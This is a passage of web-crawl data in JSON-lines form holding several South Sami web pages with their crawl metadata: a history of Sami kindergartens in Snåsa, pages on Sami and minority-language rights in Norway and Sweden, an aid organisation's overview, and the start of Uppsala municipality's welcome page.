saemiej-maanagierte, aktene Camping-våågnesne giehteli. Dihte jåhtetji golme saemiej dajvi gaskems. Guvvesne maanagierten Camping-våågnam giesie-tjåanghkosne, Maajh-jaevresne, vuejnibie.\nAlkoelisnie 90-taalesne jijnjeb voejhkelin Åarjel-saemien maanagierth juhtiehtidh. Snåasan råajvarimmien mænngan dellie aaj Prahkesne (Rørosesne) voejhkelin. Mohte dan åenehks tijje-ohtseme guktie idtji gænnah desnie gåaredh. Mænngan fuelhkie-maanangiertie juehtiemasse bøøti, mohte dihte orreji goh akte jaepie vaaseme. Maajh-jaevresne, Gaalen tjieltesne jaepien 1992 aelhkietin saemien faaleldahken gusnie maanah edtjin åadtjodh gaektsie tæjmoeh saemien våhkosne saemien lohkehtæjjine. Vierhtieh disse bøøtin båatsoeburrijste. Daate faaleldahke tjøødtjehti juktie dan vaenie maanah.\n– Jaepeste 1994 jaapan 1996 lij åarjel-saemien giele- jih kultuvre tsevsietimmie Vinjebakkenen maanagiertesne, Snåasesne. Saemien maanah tjøønghksovvin sjiere tjiehtjielisne akten biejjien våhkosne. Seamma leahtan mietie aaj dagkeres faaleldahke Elgåesne sjidti jaepien 1994. Desnie dah nøøremes learohkh gøøkte biejjieh åadtjoejin almetji ektesne mah gielem soptestin.\nJaepien 1996 naan beetnegh beetsin Saemien gieleraereste, Anne Lise måjhteji. Dellie faaleldahke aelkehti gielem øøvtiedidh saemien maanide Viosen maanagiertesne, Snåasesne.\nDesnie maanah åadtjoejin gieline barkedh gøøkte biejjieh våhkosne abpe jaepiem. Dan jaepien mænngan dihte åarjel-saemien faaleldahke vihth bååstide juhtieji daaroen maanagiertese Vinjebakkenesnie. Desnie lin dah saemiej maanah ektesne daaroen maanajgujmie. Gøøkte tæjmoeh våhkesne lin dah saemiej maanah giele-lohkehtæjjan ektine. Mohte daate ij lij ajve hijven, juktie vaenie tijje mijjese sjidti maanajgujmie soptsestidh. Daate øørnege læjhkan sjidti tjaktjese jaepien 2001.\nJaepien 1998 vihth faaleldahke Prahkesne sjidti, mohte geerve lij almetjh gaavnedh gieh saemiestin. Dihte buerebe 2000- taalesne sjidti, juktie dellie aaj lij giele-provsjekte Elgåesne aalkeme. Dihte provsjekte edtji juhtiemisnie årrodh vijhte jaepieh. Saemiedigkie jih Engerdalen tjielte dam provsjektem juhtietin jih dihte eelki jaepien 2001. Gaektsie maanah lin meatan desnie. Dah åadtjoejin saemien goh voestes gieline, dovne maanagiertesne jih voestes jaepiej skuvlesne.[2]\nHanne-Lena lij akte dejstie gie lih meatan jih soejkesjidie buektedh dan orre maanageartan. Mijjieh limh gellie eadtjohke eejtegh mah gaavnedimh maanagiertesne Åarjel-saemien skuvlesne jih mijjieh rååresjimh guktie buektiehtidh aelhkietidh aktem maanagiertem gusnie mijjen maanah meehtin gielem lieredh jih dam provhkedh. Gijren 2003 råajvarimh jih soejkesh darjoejimh maanageartan mij edtji rihpesovvedh tjaktjen mænngan. Gaajhkh eejtegh lin eadtjohke meatan jih dovne budsjettem jih njoelkedassh tjeelimh. Buektiehtimh aaj gåetieluhpiem skåårvedh guktie gaajhkine riejries sjidtimh. Rektovre mij dellie skuvlesne, Heidun Oldervik, lij buerie viehkie mijjese. Dihte jijnem deejri mij daerpies gosse orre maanagiertiem rihpestidh.\nGaajhke lij gaervies maam tjielte daarpesji rihpestæmman guktie disse lij aelhkie gosse soejkesjidie nænnoestidh. Almetjh tjieltesne lin buerie bievsterisnie mijjen barkose jih aaj garmerdin juktie dan varki limh barkoem illeme. Jih varki gujht gåaredi! Maanagierte rihpesovvi mubpien biejjien gaekeren. Dan varki lea gåaradamme daam maanagiertem øørnedh, låasije jeehti altese rihpestimmie-smaerehtsisnie. Ij sån leah aerebi naan aejkien dan varki gåaradamme.\n\n\nLåavth-gåetesne: Hilma Dunfjeld Mølnvik, Lilja Jåma-Berg jih Nihko-Laara Påve Wilks\nMaanagierten støøremes dåeriesmoere lea gaavnedh almetjh mah desnie maehtieh barkedh jih aaj skåårvedh stååkeme-gaevnieh jih jeatja viehkie-aath mah lea saemien kultuvrese veadaldihkie. Ij leah man jijnje dorjesovveme ovmese aatijste mah dagkeres geartan sjeahta, mohte naaken leah viehkine båateme almetjijstie mah leah vuajneme mij daerpies. Dan sjieken maanah maehtieh åådtjedidh jih aaj stååkedidh gaevnijgujmie mah leah saemij tradisjovnide veadaldihkie.\nJijnesh leah båateme jih vualkeme destie gierteste, mohte daelie dan aavrehke juktie dihte pedagogiske åvtehke, Anna Sparrok, lea dovne lohketæjja maanageartan jih sopteste åarjel saemien gielem goh ietniengiele.\nHanne-Lenan fuelhkie njielje gåetiegielh utnieh. Jijtje lea åarjelsaemie jih gåetehke noerhtesaemie. Manne maanajgujmie åarjelsaemien gielem soptestem jih gåetehke noerhtesaemien. Manne dejnie daaroestem jih dihte svienskegielem munnjien. Eah maanah dam aeveren lyjhkh juktie dah sinsitnine saemiestieh. Goh gaavnedimen, idtjm manne noerhtesaemien gielem maehtieh jih ålma idtji åarjelsaemien gielem soptesth. Dan gaavhtan tjoeverimen nøørjen jih sveerjen gielem provhkedh. Daelie maehtien gåabpatjahkide saemien gielide guarkedh jih dejtie aaj provhkien gosse maanaj ektesne. Maanah leah gaektsie, govhte jih golme jaepien båeries. Dah gøøkte båarasommes leah væjkeles dan nøøremes maanese saemiestidh. Gosse dihte maam nøørjen gielesne jeahta, dellie jarkoestægan saemien gielese guktie dihte edtja aaj dejtie saemien baakojde govledh, tjidtjebe sopteste.\nDaamtaj lea daaroen giele stååkedimmiegiele. Gåetesne soptestieh molsehth åarjelsaemien jih noerhtesaemien. Mohte jis maanah desnie guhth eah saemien guarkah, dellie daaroen giele jarngesne tjåådtje. Aehtjebe buerebe noerhtesaemien maahta jih dihte giele veaksakobpoe sjædta mov åarjelsaemien gieleste. Nimhtie sån aaj dihte giele maanide veaksakommes sjædta. Gosse tjaeledh jih lohkedh dellie dah gøøkte båarasommes væjkelåboe åarjelsaemien gielesne, jeahta. Gåabpatjahkh utniegan åarelsaemien gielem goh voestes giele skuvlesne, mohte åadtjoejægan aaj gøøkte tæjmoeh våhkosne noerhtesaemien gielem lieredh. Onnemaana åådtje noerhtesaemien gielem maanagiertesne lieredh fierhten duarstan jih mubpie mubpeste våhkoen, bearjadahken.\n\n\nTjoevere varki aelkedh...... Maanagierte meatan goh slaaterdimmie jih Nihko-Laara sæjhta meatan gosse iervedh.\nTsiengelen 2008 leah luhkie maanah dennie giertesne, mohte naan aejkien vaenebh. Daate råajvarimmie lea joekoen buerie dejtie guhth maehtieh dam provhkedh. Gaajhkh Hanne Lenan maanah leah daennie maanagiertesne vaadtseme. Dah gøøkte støøremes veedtsin daaroen giertesne aerebi goh dihte åarjel-saemien gierte rihpsovvi. Desnie åadtjojigan golme tæjmoeh saemien våhkosne, mohte buerebe årrodh dennie åarjelsaemien giertesne. Gierte lea joekoen vihkeles mijjese. Vaenie åarjelsaemien giele govlesovva juktie dan vaenie byjresh gusnie giele veaksehke jarngesne tjåadtjoeminie. Vihkeles lea dagkeres gielebyjresh gåetien bæjngoelisnie. Im jiejkh gosse garmerdem man vihkeles gierte lea orre maanide eevtjedh saemien gielem provhkedh, Hanne Lena jeahta.\nAnita aaj dam jååhkesje. Im lim maan buktiehtamme saemiengielem gåetiegieline utnedh jis ij lij maanagierte viehkine. Idtji Anita jallh Hanne-Lena ådtjoegan saemien gielem gåetesne lieredh goh byjjesovvin. Mænngan åadtjoejin skuvlesne lieredh jih mænngan goh geerve. Gåabpahtjahkh lægan åarjelsaemien gielem gåetiegieline åtneme gosse maanah smaave.\nAnita lea lohkehtæjja Åarjel-saemiej skuvlesne jih jeahta satne aavode maanah gierteste dåastodh gosse dah skuvlesne aelkieh. Dah båarasommes maanah mah leah giertesne vaadtsamme, leah daelie njealjede klassesne, jih aelhkie lea vuejnedh buerebe dejgujmie saemiestidh. Joekehtse lea hævvi dej gaskems aaj, jih dihte båata destie guktie dah fuelhkieh leah saemien gielem gåetesne provhkeme. Sovmem dihte gierte maanide jearsoes dorje guktie gielem doestieh provhkedh jih nimhtie saemien åadtjodh goh voestes giele gosse skuvlesne aelkieh.\n[1]\n[2]\nEará artihkkalat girjjis Sámi skuvlahistorjá 3","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/skuvla.info\/skolehist\/snasa-s.htm","date":"2017-06-29T08:55:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128323895.99\/warc\/CC-MAIN-20170629084615-20170629104615-00222.warc.gz","language":"sma","language_score":0.9999308586,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999308586120605}","num_words":1305,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tseegkeme Saemiedigkeste 1989 våaroeminie åtna aktem byjhkesjimmiem aktede reerije daaroedehtemepolitihkeste mij eelki joe 1800-låhkoen aalkoelisnie. Saemieh ahkedh daaresjimmieh dååjreme mah mahte aktem abpe kultuvrem nåhkehtamme, men evtiedimmie saemien reaktijste jïh tseegkeme Saemiedigkeste ij leah ajve illedahke aktede båajhtoeh staateles politihkeste. Saemiedigkie jïh saemien reaktah leah aaj illedahke ihke saemieh leah orreme jïh leah akte jïjtse åålmege jïjtsh aerpievuekiejgujmie jïh institusjovnigujmie, mah aktene guhkebe histovrijes perspektijvesne leah jïjtjeraarehke orreme.\nSaemieh akte unnebelåhkoe Nöörjesne jïh dan åvteste ij bæjjese jaksh sïejhme demokrateles årgaanine mah jienebelåhkoedemokratijem betnesne utnieh. Seamma tïjjen saemieh goh aalkoealmetjh reaktam tsevtsemefaamoem utnedh sov båetijen biejjien bïjre viehkine gorredidh jïh evtiedidh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem. Maadthlaakesne § 108 tjåådtje:\n«Staaten åejvieladtjh dïedtem utnieh sjïehteladtedh ihke saemien åålmege maahta sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.»\nNöörjen aaj åeliedimmieh saemiej muhteste gaskem jeatjah daej laaki tjïrrh: Saemielaake, Finnmaarhkelaake, Soejkesje- jïh bigkemelaake, Kultuvremojhteselaake, Båatsoelaake, Ööhpehtimmielaake jïh Sijjienommelaake.\nHva lette du etter? Din tilbakemelding hjelper oss ålage bedre nettsider.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Vaaarome","date":"2017-06-28T17:18:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128323721.80\/warc\/CC-MAIN-20170628171342-20170628191342-00022.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":159,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reeremetjïelten dåajvoehtimmie jïh dïedtesuerkieh\nvåaromem utnieh dennie laakesne nasjovnale unnebelåhkoej jïh unnebelåhkoegïeli bïjre, jïh Sveerjen dåajvoehtimmie Europaraerien mieriekonvensjovnese, unnebelåhkoegïelekonvensjovnese jïh EN:en maanakonvensjovnese\nBievnesh\nDah reeremeåejvieladtjh edtjieh sjiehteles-laakan, gosse daerpies, dejtie nasjovnale unnebelåhkojde reaktaj bïjre bievnedh mij lea dan orre laaken mietie. Dah byöroeh bievnedh dejnie gïeline mejtie veanhtede aktegsalmetjh sïjhtieh nåhtadidh gosse åejvieladtjigujmie govlehtieh.\nGosse lea tjïelti dïedten bïjre aarhskuvlem jïh voereshoksem faalehtidh unnebelåhkoegïelesne reeremedajven sisjnjelen, dle byöroe dam nuepiem sïejhme bievnesinie tjielkestidh mah leah riekteme dejtie mah sïjhtieh öörnegem nåhtadidh.\nTsevtsiedimmie\nStaaten jïh tjïelti reereles åejvieladtjh edtjieh dejtie nasjovnale unnebelåhkojde nuepiem vedtedh tsevtsedh dejnie gyhtjelassine mah leah dej bïjre. Dah åejvieladtjh edtjieh dan gåhkese gåarede unnebelåhkoej tjirkijigujmie råårestalledh dagkarinie gyhtjelassine.\nDah åejvieladtjh edtjieh altese darjoem evtiedidh nimhtie guktie dah maehtieh dej nasjovnale unnebelåhkoej tjirkijigujmie govlesadtedh.\nMijjen nasjovnale unnebelåhkoegïelh\nDah nasjovnale unnebelåhkoegïelh mah leah meatan gïelelaakesne leah såevmien gïele, jiddisch, meänkieli, romani chib jïh saemien gïelh. Gïelelaake sjïere dïedtem åålmegasse vadta edtja dejtie nasjovnale unnebelåhkoegïelide vaarjelidh jïh övtiedidh.\nEdtja maanaj evtiedimmiem aktede kultuvrelle identiteteste, jïh åtnoem dehtie jijtse unnebelåhkoegïeleste sjïerelaakan övtiedidh. Maanah dejstie nasjovnale unnebelåhkojste daarpehtieh sijjen unnebelåhkoekultuvrelle identitetem jïh sijjen unnebelåhkoegïelem evtiedidh.\nDagkeres evtiedimmiem edtja joekoenlaakan vuartasjidh gosse naakedem sjæjsjele mah maehtieh maanide tsevtsedh.\nTijje jïh sijjie edtja åejvieladtjigujmie govlehtidh unnebelåhkoegïelesne\nDah reereles åejvieladtjh åadtjoeh moenedh man tijjen jïh gusnie dah maehtieh guessieh dåastoehtidh mah aktem vihties unnebelåhkoegïelem soptsestieh, jïh aaj sjïere tellefovntijjh utnedh.\nDïhte reakta unnebelåhkoegïelem nåhtadidh govlehtimmesne åejvieladtjigujmie, maahta dan åvteste faamoem utnedh ajve såemies tijjen åejvieladtji kontovrisnie, gosse toelhke jallh gïelemaehteles barkijh leah stieresne.\nUnnebelåhkoegïele govlehtimmesne åejvieladtjigujmie\nAlmetjh reaktam utnieh såevmien-, meänkielin jïh saemien gïelem nåhtadidh gosse njaelmeldh jïh tjaeleldh aktine reeremeåejvieladtjine govlehtieh, man geografeles darjomedajve ållesth jallh bieleldh lea seamma goh unnebelåhkoegïelen reeremedajve.\nDïhte reakta unnebelåhkoegïelem nåhtadidh lea ajve dejnie aamhtesinie mah ektiedimmiem reeremedajvese utnieh, v.g dïhte almetje reeremedajvesne årroeminie, dïhte aamhtese lea akten darjoen bïjre mejnie dajvesne gïehtele, jallh eeke mij lea dajvesne.\nAerebi akte gaertjiedimmie orreme mij dorjeme dïhte reakta unnebelåhkoegïelem nåhtadidh ajve lea orreme dejnie aamhtesinie åejvieladtji jïh almetjen gaskem. Dïhte gaertjiedimmie ij leah dennie orre laakesne, mij amma faamoem åtna gaajhkine aamhtesinie. Dïhte almetje edtja badth paarhtine jallh paarhten sæjjasadtjine årrodh aamhtesisnie, jïh aamhtese edtja ektiedimmiem utnedh dan geografeles dajvese maam reeremedajve faarhmeste.\nDïhte reakta unnebelåhkoegïelem nåhtadidh ij ajve almetjh faarhmesth, bene aaj vuesiehtimmien gaavhtan aktie-sïelth, siebrieh jïh jeatjah åårganisasjovnh, bene ij gan åejvieladtjh jallh jeatjah byögkelesriekteles åårganh.\nUnnebelåhkoegïelh reeremedajvi bæjngolen\nAkten reeremedajven bäjngolen almetje reaktam åtna vihties unnebelåhkoegïelem nåhtadidh gosse njaelmeldh jallh tjaeleldh reeremeåejvieladtjigujmie govlehte dejnie aamhtesinie gusnie dïhte almetje lea paarhte jallh paarhten sæjjasadtje, jis barkijh gååvnesieh mah dam vihties unnebelåhkoegïelem maehtieh, edtjieh aamhtesem gietedidh.\nDah reereles åejvieladtjh edtjieh, mejtie reeremedajven sisnjelen jallh ij, barkedh ihke barkijh gååvnesieh mah maahtoeh såevmien-, meänkielin jïh saemien gïelesne utnieh, desnie gusnie daerpies gosse almetjh åejvieladtjigujmie govlehtieh.\nReakta unnebelåhkoegïelh nåhtadidh såemies dåapmestovline\nDïhte mij lea paarhte jallh paarhten sæjjasadtje aktene saakesne jallh aamhtesisnie aktene läänereaktesne, digkiereaktesne, eekedåapmestovlesne, byjresedåapmestovlesne jallh jaevriereaktadåapmestovlesne, aktine dåapmegievline mij ållesth jallh bieleldh lea seamma goh dah tjïelth Jiellevárre, Haparanda, Giron, Bájil jïh Övertorneå, reaktam åtna såevmien- jallh meänkielin gïelem nåhtadidh saaken jallh aamhtesen gietedimmesne, jis saake jallh aamhtese ektiedimmiem åtna naakenidie daejstie tjïeltijste.\nDïhte reakta aaj saemiengïelem faarhmeste dagkarinie dåapmestovlesne aktine dåapmegievline mij ållesth jallh bieleldh lea seamma goh dah tjïelth Árjjepluovve, Jiellevárre, Jåhkkemåhkke jallh Giron, jis saake jallh aamhtese ektiedimmiem åtna naakenidie daejstie tjïeltijste.\nDïhte reakta unnebelåhkoegïelem nåhtadidh ij amma gaajhkide dåapmestovlide reeremedajvesne faarhmesth mah leah meatan reeremedajvesne fiereguhten unnebelåhkoegïelese, bielelen dïhte ektiedimmie ajve naaken dejstie vihties tjïeltijste faarhmeste.\nUnnebelåhkoegïele aarhskuvlesne\nGosse akte tjïelte aktene reeremedajvesne sijjiem aarhskuvlesne faala\n2a 1. Kapihtelen mietie jïh 7.§ mietie skuvlelaakesne (1985:1100), tjïelte edtja sijjiem maanide faalehtidh aarhskuvlesne, gosse dej eejhtegh jallh eejhtegi sæjjasadtjh dam krievieh, gusnie abpe jallh bielieh dehtie ööhpehtimmeste lea dennie vihties unnebelåhkoegïelesne.\nMan gellie maanah jïh mejtie barkijh gååvnesieh mah gïelem maehtieh muenieh man vijries öörnege lea.\nJis nuekies jïjnjh maanah jïh nuekies jïjnjh barkijh gååvnesieh mah gïelem maehtieh, dle maahta ööhpehtimmiem öörnedh sjïere dåehkine jallh sjïere guektiengïelen aarhskuvle-goevtesinie jallh ållesth guektiengïelen aarhskuvline.´\nAarhskuvlen råålle joekoen vihkeles juktie desnie biejesåvva dïhte additijve guektiengïelevoete, dïhte sæjhta jiehtedh, lierehtimmie aktede mubpien gïeleste mij ij dåeriesmoerh vadta dan voestes gïelese maanan aareh maanabaelien, jïh dah nuepieh lieredh nåakebe sjïdtieh gosse maanah båarasåbpoe sjïdtieh.\nUnnebelåhkoegïele voereshoksesne\nAkte tjïelte aktene reeremedajvesne edtja faalehtidh disse mij dam kreava, nuepiem abpe jallh bielieh dehtie såjhtoste jïh hokseste åadtjodh mah vadtasuvvieh voereshoksi mieriej sisnjeli, barkijistie mah dam vihties unnebelåhkoegïelem maehtieh.\nMan gellie mah hoksem barkijijstie sïjhtieh mah unnebelåhkoegïelem soptsestieh, jïh magkeres hoksem dah sïjhtieh, jïh mejtie barkijh gååvnesieh mah dejtie gïelide soptsestieh muenieh man vijries öörnege sjædta jïh öörnegen sisvege.\nAkte vihkeles krieveme lea dah tjïelth voereshoksem öörnieh guktie naakedem dehtie såjhtoste jïh hokseste mejtie tjïelte faalehte, vadtasåvva barkijistie mah vihties unnebelåhkoegïelem maehtieh. Dah tjïelth byöroeh dan sjiekenisnie darjoem öörnedh guktie dah barkijh mah leah voereshoksesne, jïh unnebelåhkoegïelem soptsestieh, dan gåhkese gåarede, voeresigujmie berkieh mah dam vihties unnebelåhkoegïelem voestes gïeline utnieh.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/are.se\/kommunpolitik\/samiska\/aaren-tjielte","date":"2017-06-23T08:46:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320040.36\/warc\/CC-MAIN-20170623082050-20170623102050-00245.warc.gz","language":"sma","language_score":0.9999810457,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999810457229614}","num_words":802,"character_repetition_ratio":0.109,"word_repetition_ratio":0.01,"special_characters_ratio":0.128,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Viehkie\nMijjieh mijjen guejmiesiebrieh dåarjoehtibie guktie dah darjoeh dam maam bööremes maehtieh!\nSAIH ööhpehtimmine joekehtslaakan barka, jïh mijjieh åajvahkommes vïjhte teemajgujmie barkebe: akademihkeles frijjevoete jïh studentesolidariteete, aalkoealmetjh jïh afro-minngieboelvh, mijjen guvvie åerjielistie, tjoele jïh mïrrestalleme jïh seksuelle jïh reproduktijve reaktah. Daah teemah leah vihkeles jïh nænnoste mej guejmiejgujmie mijjieh laavenjostebe åarjene, jïh guktie mijjieh politihkeleslaakan barkebe.\nMijjieh vielie goh 40 siebrieh dåarjoehtibie 7 laantine Latin-Amerijhkesne jïh åarjel Afrijhkesne: Nicaragua, Colombije, Bolivije, Zambije, Åarjel-Afrijhke, Zimbabwe jïh Swazilaante. Bolivijesne, Nicaraguesne jïh Colombijesne mijjieh barkebe åajvahkommes aalkoealmetjigujmie jïh afro-minngieboelvi studentesiebriejgujmie dej reaktaj åvteste akten buerebe ööhpehtæmman, jïh studentesiebriejgujmie akademihkeles frijjevoeten gaavhtan. Zambijesne, Åarjel-Afrijhkesne jïh Zimbabwesne barkebe studente- jïh noeresiebriejgujmie mah aamhtesigujmie berkieh goh tjoele jïh mïrrestalleme, akademihkeles frijjevoete jïh seksuelle jïh reproduktijve reaktah.\nDåarjoe lohkehtæjjaööhpehtæmman Nicaraguesne lea låhkoem lohkehtæjjeste giehpiedamme mah eah byjjes lohkehtæjjaööhpehtimmiem utnieh dennie dajvesne 80 prosenteste 27 prosentese 13 jaepine. Dåarjoe studentesiebride Zimbabwesne lea viehkiehtamme feengkesovveme jïh huskeme studenth vielie goh 11 jaepieh. Åarjel-Afrijhkesne 8000 studenth leah lïerehtimmiem åådtjeme seksuelle jïh reproduktijve reaktaj jïh healsoen bïjre.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/saih.no\/southern-sami\/vart-arbeid\/land","date":"2017-06-24T07:06:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320227.27\/warc\/CC-MAIN-20170624064634-20170624084634-00645.warc.gz","language":"sma","language_score":0.9999713898,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999713897705078}","num_words":159,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Enligt Lagen om nationella minoriteter och Lagen om minoritetsspråk (SFS 2009:724) som trädde i kraft 1 januari 2010, ingår Bergs kommun i förvaltningsområdet för samiska.\nSpråklagen (SFS 2009:600), som minoritetslagens 4§ hänvisar till, trädde i kraft 1 juli 2009. Den syftar bland annat till att värna svenskan och den språkliga mångfalden i Sverige samt den enskildes tillgång till språk. Språklagen anger att svenska är huvudspråk i Sverige, att de nationella minoritetsspråken är finska, jiddisch, meänkieli, romani chib och samiska, och att det allmänna ska skydda och främja de nationella minoritetsspråken.\nLagen om nationella minoriteter och minoritetsspråk:\nMinoritetslagens allmänna bestämmelser eller grundskydd innebär att lagen gäller i hela landet och omfattar samtliga fem nationella minoriteter.\nGrundskyddet regleras i minoritetslagens inledande paragrafer, som bland annat slår fast att:\nI förvaltningsområden har enskilda rätt att använda samiska i sina skriftliga och muntliga kontakter med myndigheter. Enskilda har också rätt att få tillgång till äldreomsorg och förskola helt eller delvis på samiska.\nBergs kommun ska erbjuda barn vars vårdnadshavare begär plats i sådan verksamhet där hela eller delar av verksamheten bedrivs på samiska,.\n(Skollagen 25 kapitlet , 2010:800)\nBergs kommun ska erbjuda den som begär det möjlighet att få hela eller delar av den service och omvårdnad som erbjuds inom ramen för äldreomsorgen av personal som behärskar samiska.\nDet är viktigt att komma ihåg att minoritetslagstiftningen är en rättighetslagstiftning och att de nationella minoriteternas rättigheter är en del av de mänskliga rättigheterna. Implementeringen av minoritetslagen i kommuner, landsting och regioner handlar med andra ord om att förverkliga rättigheter och inte enbart om att tillgodose behov, intressen eller önskemål.\nGuktie Laake nasjovne unnebelåhkoej jïh unnebelåhkoegïelij mietie (SFS 2009:724) mejtie tsiengelen 1 biejjeste 2010 dååhkasjehtieh, Bïerjenen tjïelte saemien reeremedajve.\nGïelelaake (SFS 2009:600), goh unnebelåhkoelaake 4§ jeahta, maam snjaltjen 1 biejjem 2009 håsvedieh. Dïhte dovne jeahta daaroen gïelem jïh dah jeatjah jijnjh gïelh Sveerjesne gorredidh jïh aajne almetje nuepiem åtna jeatja gïelem lïeredh. Gïelelaake jeahta svïenskegïele åejviegïele Sveerjesne, unnebelåhkoej gïelh Sveerjesne leah såevmieh, , jiddisch, meänkieli, romani chib jih saemien gïele, jïh sïebredahke edtja unnebelåhkoej gïelh gorredidh jïh eevtjedh.\nLaake unnebelåhkoej bïjre jih unnebelåhkoej gïelij bïjre.\nUnnebelåhkoelaaken sïejhme njoelkedassh jallh maadthvaarjelimmie leah, daate laake faamoem åtna abpe rïjhkesne jïh gaajhkh vijhte nasjovnen unnebelåhkojde.\nMaadthvaarjelimmie unnebelåhkoelaaken voestes paragrafine nænnoestamme, mij jeahta:\nReeremedajvesne aajne almetje reaktam åtna saemiem nuhtjedh njaalmelth jallh tjaalelth gïeline gosse reeremh bïeljelidh. Aajne almetje dovne reaktam åtna båeries hoksem jallh aarhskuvlem utnedh abpe jallh muvhte tijjem saemien gïelesne.\nBïerjen tjïelte edtja faaledh almetjasse gie hoksem åtna maanan bïjre jis dïhte säjhta aarhskuvlem utnedh abpe jallh biehkie barkoem saemien gïelesne.\n(Skuvlelaake 25.kapitele, 2010.800)\nBïerjen tjïelte edtja nuepiem vedtedh jïh faaledh disse gie säjhta abpe jallh bïehkie viehkiem jïh hoksem saemien gïelesne utnedh.\nVihkeles mujhtedh unnebelåhkoelaake lea reaktavoetelaake jïh nasjovne unnebelåhkoej reaktah lea åesie almetji reaktavoetijste. Unnebelåhkoelaakem tjïeltine, laantedigkine jïh regijovnine dååhkasjehtedh, vihkeles barkosne reaktide buektiehtidh darjodh ij barre daerpiesvoeten, ïedtjij jïh vaajteli mietie.\nUppdaterad: 2015-05-19 12.11","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun.4.2a948e2414c4aa4dd9a207df.html","date":"2017-06-29T14:20:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128329344.98\/warc\/CC-MAIN-20170629135715-20170629155715-00528.warc.gz","language":"sma","language_score":0.8529008627,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.8529008626937866, \"swe_Latn_score\": 0.13711996376514435}","num_words":459,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.867,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aalkoesäjroe\nBuerie båateme Uppsalese! Daesnie jienebh enn 200 000 almetjh årroeminie jïh tjïelte dïedtem åtna mij mesnie maanahokside, skuvlide jïh voereshokside. Tjïelte vååksje tjaetsie jïh avloppe juhtieh, aaj geajnoejgujmie , sorhpine jïh sjeakominie, byjresevaarjelimmine jïh dållevaarjelimmine barka. Mijjien leah gärjagåetieh jïh vaaksjobe guktie darjomh gååvnesieh mejtie maahtah dov frijjestijjesne darjodh. Lissine barkebe aaj juktie sïelth, energijegyhtjelassh jïh årromesijjieh evtiedidh. Jïh jïjnjh vielie. Mijjese vihkeles datne gie Uppsalan tjïeltesne årroeminie madtjeles dejnie maam tjïelte faala.\nDaesnie maahtah lohkedh guktie jåhta dejnie dajvine gusnie tjïelte dïedtem åtna. Dej lïenghki tjirrh maahta jienebh bïevnesh åadtjodh sveerjen gïelesne. Maahtah viehkiem åadtjodh dov jïjtse gielesne gosse sïjhth tjïeltine soptsestidh. Gaskesadth dam tjïeltedajvem mejnie sïjhth soptsestidh jïh dah toelhkijem gaskesadtieh jis daerpies lea.\nHealsoe jïh hokse\nTjïelte edtja vaaksjodh gaajhkh årrojh dam dåarjegem åadtjoeh mejtie daarpesjh juktie sijjen jielemem bearkanidh. Magkeres dåarjegh daerpies maahta joekehts årrodh vuesiehtimmien gaavhtan mij aaltarisnie leah, svihtjemeheaptoen gaavhtan jallh mij mestie jearohks-dåeriesmoerh åtna jallh irhkeme lïhkemes relasjovnine. Dåarjegh maehtieh vuesiehtimmien gaavhtan årrodh gåetiehoksedïenesje, sijjiem gusnie gaavnedidh, soptses-terapije jallh gode män.\nLohkh vielie healsoen jïh hoksen bïjre\nÖöhpehtimmie\nMaanah mah gaskem 1 jïh 5 jaepien båeries maehtieh sijjiem aarhskuvlesne åadtjodh. Gosse maanah 3 jaepiem illeme dellie reaktam åtna aarhskuvlesijjiem åadtjodh. Maanah mah 6 jïh 15 jaepiej gaskem edtjieh maadthskuvlesne vaedtsedh, sveerjen laaken mietie. Noerh mah maadthskuvlem illeme maehtieh veeljedh jåarhkeskuvlem vaedtsedh. Dan männgan jïjnjh nuepieh gååvnesieh ööhpehtidh: jïlleskuvle, universiteete, almetjejïlleskuvle jïh ööhpehtimmieh geerve almetjidie jïh vielie. Dovne privaate skuvlh jïh tjïelten skuvlh gaajhkide aaltaridie gååvnesieh jïh Uppsalesne åådtje veeljedh mij skuvlide säjhta nuhtjedh.\nLohkh vielie ööhpehtimmien bïjre\nBarkoe\nArbetsförmedlingen barka guktie dah mah barkoeh ohtsedeminie gaskesem åadtjoeh dejgujmie mij barkijh ohtsedeminie. Staaten dïhte mij 